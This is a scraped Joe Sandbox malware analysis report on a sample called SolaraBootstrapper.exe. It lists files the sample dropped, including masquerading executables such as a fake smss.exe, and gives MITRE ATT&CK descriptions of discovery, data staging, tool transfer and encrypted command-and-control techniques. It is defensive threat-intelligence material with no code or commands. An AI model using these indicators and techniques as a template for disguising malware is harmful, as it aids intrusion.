Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Media\3KNj5pJ.bat

C:\Media\TKlkLwYGTbrYwK.vbe

C:\Media\fontreview.exe

C:\Program Files (x86)\Internet Explorer\en-US\1684183673b272

C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe

C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\38ea5f8cd4c1b7

C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe

C:\Program Files\Uninstall Information\69ddcba757bf72

C:\Program Files\Uninstall Information\smss.exe

Windows Analysis Report
SolaraBootstrapper.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre